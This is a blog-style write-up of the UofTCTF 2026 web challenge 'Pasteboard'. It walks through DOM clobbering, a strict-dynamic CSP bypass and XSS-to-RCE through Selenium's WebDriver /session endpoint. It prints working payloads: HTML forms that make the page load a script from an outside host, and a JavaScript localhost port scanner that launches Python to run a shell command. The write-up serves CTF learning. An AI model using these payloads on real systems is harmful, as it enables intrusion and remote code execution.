UofTCTF 2026 - WEB Pasteboard


It’s been a while since I had that much fun with a client-side challenge.

Pasteboard is a note-sharing web application where users can create and view notes. The challenge includes an admin bot that visits reported notes, so right off the bat I knew we were dealing with some client-side shenanigans.

From the get-go though, something felt off. Like really off. I’m reading through the bot code and there’s this flag variable just sitting there at the top, declared and… never used? That’s weird. Why would you put the flag there if it’s never referenced anywhere in the code? This kept bugging me throughout the whole challenge, but I figured it’d make sense eventually.

Screenshot

Understanding the App Link to heading

Alright, let’s go in order. The app is pretty straightforward:

  • / - Index page listing all notes
  • /note/new - Create a new note with title and body
  • /note/<id> - View a specific note
  • /report - Submit a URL for the admin bot to visit (localhost only)

So we can create notes, view them, and report them to the bot. Classic XSS setup vibes.

The Security Stuff Link to heading

Looking at the source code, they’ve got some security measures in place. First thing I noticed was the CSP:

def _make_nonce():
    return secrets.token_urlsafe(16)

def _csp_header(nonce):
    return (
        "default-src 'self'; "
        "base-uri 'none'; "
        "object-src 'none'; "
        "img-src 'self' data:; "
        "style-src 'self'; "
        "connect-src *; "
        f"script-src 'nonce-{nonce}' 'strict-dynamic'"
    )

Okay so we’ve got strict-dynamic and connect-src *. That’s interesting - connect-src * means we can fetch to any domain, including localhost. That might come in handy later.

This is a nice find already, but let’s keep digging.

The Weird Code Link to heading

While I was checking out app.js, I stumbled upon something that made me stop and stare at my screen for a bit. At first I couldn’t figure out why it felt wrong, but something about this code just screamed “vulnerable”:

(function () {
  const n = document.getElementById("rawMsg");
  const raw = n ? n.textContent : "";
  const card = document.getElementById("card");

  try {
    const cfg = window.renderConfig || { mode: (card && card.dataset.mode) || "safe" };
    const mode = cfg.mode.toLowerCase();
    const clean = DOMPurify.sanitize(raw, { ALLOW_DATA_ATTR: false });
    if (card) {
      card.innerHTML = clean;
    }
    if (mode !== "safe") {
      console.log("Render mode:", mode);
    }
  } catch (err) {
    window.lastRenderError = err ? String(err) : "unknown";
    handleError();
  }

  function handleError() {
    const el = document.getElementById("errorReporterScript");
    if (el && el.src) {
      return;
    }

    const c = window.errorReporter || { path: "/telemetry/error-reporter.js" };
    const p = c.path && c.path.value
      ? c.path.value
      : String(c.path || "/telemetry/error-reporter.js");
    const s = document.createElement("script");
    s.id = "errorReporterScript";
    let src = p;
    try {
      src = new URL(p).href;
    } catch (err) {
      src = p.startsWith("/") ? p : "/telemetry/" + p;
    }
    s.src = src;
    if (el) {
      el.replaceWith(s);
    } else {
      document.head.appendChild(s);
    }
  }
})();

And then in the HTML:

<div id="injected">{{ msg|safe }}</div>
<template id="rawMsg">{{ msg|e }}</template>
<div id="card" data-mode="safe"></div>
<script id="errorReporterScript"></script>

Wait wait wait. {{ msg|safe }}? That means we can inject arbitrary HTML without it being escaped. And then I saw it - the code is checking window.renderConfig and window.errorReporter.

Oh. OH. This is DOM clobbering all over the place.

The Attack Path (aka How I Broke Everything) Link to heading

Vulnerability #1: Breaking the Render Function Link to heading

So here’s the thing about HTML - if you create an element with an id or name attribute, it automatically becomes a property on the window object. It’s this old browser quirk that’s basically a security nightmare.

I realized I could inject a form like this:

<form id="renderConfig">
    <input name="mode" value="anything">
</form>

Now when the code tries to do cfg.mode.toLowerCase(), it’s actually calling .toLowerCase() on an HTMLFormElement, which… doesn’t have that method. BOOM. TypeError. The error gets caught and handleError() runs.

Nice! But that just triggers the error handler. Now what?

Vulnerability #2: Hijacking the Script Source Link to heading

This is where it gets spicy. The handleError() function loads a script based on window.errorReporter.path.value. So naturally, I can clobber that too:

<form id="errorReporter">
    <input name="path" value="http://my-cool-server.com/exploit.js">
</form>

Now when the error handler runs:

  1. It reads window.errorReporter.path.value
  2. Gets my malicious URL
  3. Creates a new script tag with that URL
  4. Appends it to the page

Wait, but what about the CSP? Won’t that block it?

Vulnerability #3: The CSP Bypass Link to heading

Here’s the beautiful part - the CSP has strict-dynamic. This means that any script created by a nonce-approved script inherits the trust. Since the error handler is running inside app.js (which has a valid nonce), the script it creates is automatically trusted!

So my external script loads just fine, even though it doesn’t have a nonce. CSP bypassed. chef’s kiss

Okay cool, so now we have XSS. But the flag is in the bot’s code, not in the page. How do we get RCE?

Vulnerability #4: A Dark Tunnel of Despair and Then the Light Link to heading

Alright so at this point I had XSS working. I could run arbitrary JavaScript in the bot’s context. Cool cool cool. But now what?

The flag is declared in the bot code but never used anywhere on the page. I can’t just steal it from the DOM because it’s not there. I need to somehow get the actual bot.py source code. But how?

I was completely stuck. Like, staring-at-the-screen-for-hours stuck. At this point I was so lost I even opened a ticket asking if the challenge was broken:

Screenshot

Yeah, I was that desperate. I had no clue what they expected me to do next.

Then I asked my team for help, and someone sent me this article by ToG: https://tog.re/writeup/intigriti_june_2025/

I opened it and OMMAAGGAAAD. This was EXACTLY what I was looking for! ToG’s article was talking about exploiting Selenium’s WebDriver BiDi protocol to get RCE. I had never heard of this technique before but it made perfect sense.

Shoutout to ToG for being my savior on this one. Seriously, go check out his work - this guy is a fucking genius.

So here’s the deal: when Selenium starts ChromeDriver, it opens a WebDriver BiDi protocol server on a random port (usually between 32768-61000). This server:

  • Listens on 127.0.0.1 (localhost only)
  • Accepts HTTP POST requests to /session to create new browser sessions
  • Has no CSRF protection
  • Trusts a parameter called goog:chromeOptions.binary which can be ANY executable
  • Will literally execute whatever binary you point it to

So basically, we can:

  1. Scan localhost ports to find the WebDriver server
  2. Send a POST request to create a “new browser session”
  3. Instead of Chrome, point it to Python
  4. Pass Python commands as arguments
  5. Execute arbitrary code on the server

And remember that connect-src * in the CSP? That lets us fetch to localhost! Everything suddenly clicked into place.

Putting It All Together Link to heading

Alright, here’s the full exploit chain:

Step 1: Create the Evil Note Link to heading

First, I created a note with this payload:

<form id="renderConfig">
    <input name="mode" value="anything">
</form>
<form id="errorReporter">
    <input name="path" value="http://your-server-here.com/exploit.js">
</form>

What happens:

  • The first form breaks cfg.mode.toLowerCase()
  • This triggers the error handler
  • The second form makes the error handler load my external script

Step 2: Host the Malicious Script Link to heading

Then I hosted this script on my server:

const options = {
  mode: "no-cors",
  method: "POST",
  body: JSON.stringify({
    capabilities: {
      alwaysMatch: {
        "goog:chromeOptions": {
          binary: "/usr/local/bin/python",
          args: ["-c", "__import__('os').system('head /app/bot.py > /app/static/output')"],
        },
      },
    },
  }),
};

const scanPorts = async () => {
  const startPort = 32768;
  const endPort = 61000;
  const timeoutMs = 100;

  const checks = [];

  for (let port = startPort; port < endPort; port++) {
    const check = (async () => {
      const controller = new AbortController();
      const id = setTimeout(() => controller.abort(), timeoutMs);

      try {
        await fetch(`http://127.0.0.1:${port}/session`, {
          ...options,
          signal: controller.signal,
        });
        console.log(`Found active session at port: ${port}`);
      } catch (error) {
        // Ignore errors - most ports will be closed
      } finally {
        clearTimeout(id);
      }
    })();

    checks.push(check);
  }

  await Promise.all(checks);
  console.log('Scan complete');
};

scanPorts();

This script:

  • Scans all possible WebDriver ports in parallel
  • For each port, tries to create a new “browser session”
  • But the “browser” is actually Python running a command
  • The command dumps /app/bot.py to a static file we can read

Step 3: Report to Bot Link to heading

I went to /report and submitted my note URL. The bot visits it, everything triggers, and the RCE executes.

Step 4: Get the Flag Link to heading

Finally, I just navigated to http://challenge-url/static/output and there it was - the contents of bot.py, with the flag variable sitting right there at the top.

And THAT’S why the flag was declared at the start of the bot code! They wanted us to exfiltrate the source code itself. Pretty clever if you ask me.

Final Thoughts Link to heading

This challenge was a wild ride. It combined:

  • DOM clobbering (not one, but TWO clobbered objects!)
  • CSP bypass via strict-dynamic
  • XSS to RCE via Selenium’s WebDriver BiDi protocol
  • Port scanning from the browser

Each vulnerability on its own isn’t that crazy, but chaining them all together? That’s what made this challenge so satisfying to solve.

Big thanks to:

  • ToG for the writeup that saved my ass - seriously go read his stuff at https://tog.re/
  • The UofTCTF organizers for creating such a creative challenge
  • My team for putting up with my frantic messages when I was stuck

Props to the challenge authors for this one. One of my favorite web challenges in a while.